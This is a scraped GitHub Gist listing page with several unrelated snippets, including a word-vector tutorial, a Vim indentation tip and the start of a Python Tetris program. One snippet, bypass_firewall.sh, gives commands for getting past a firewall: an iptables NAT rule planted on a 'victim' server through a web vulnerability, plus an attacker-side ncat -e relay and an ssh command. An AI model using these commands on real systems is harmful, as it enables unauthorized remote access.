Skip to content

Instantly share code, notes, and snippets.

@aparrish
aparrish / understanding-word-vectors.ipynb
Last active April 29, 2024 17:57
Understanding word vectors: A tutorial for "Reading and Writing Electronic Text," a class I teach at ITP. (Python 2.7) Code examples released under CC0 https://creativecommons.org/choose/zero/, other text released under CC BY 4.0 https://creativecommons.org/licenses/by/4.0/
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@tribela
tribela / bypass_firewall.sh
Last active August 29, 2015 14:27
open ssh connection into server that protected by external firewall only 80 port is opened
# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered.
# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity),
# You can get into the server.
victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22
attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222
attacker $ ssh -p 2222 localhost
# Or use iptables
@ericdouglas
ericdouglas / super-tip.txt
Last active February 25, 2024 10:09
Change 4 spaces to 2 spaces indentation and change tab to spaces - Vim tip
// 4 spaces to 2 spaces
%s;^\(\s\+\);\=repeat(' ', len(submatch(0))/2);g
// Tab to 2 spaces
:%s/\t/ /g
@silvasur
silvasur / tetris.py
Last active January 22, 2024 21:49
Tetris implementation in Python
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
# Very simple tetris implementation
#
# Control keys:
# Down - Drop stone faster
# Left/Right - Move stone
# Up - Rotate Stone clockwise
# Escape - Quit game